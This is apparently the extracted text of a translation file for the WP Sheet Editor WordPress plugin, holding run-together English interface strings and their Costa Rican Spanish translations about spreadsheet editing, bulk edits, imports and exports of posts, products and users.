filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_CR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

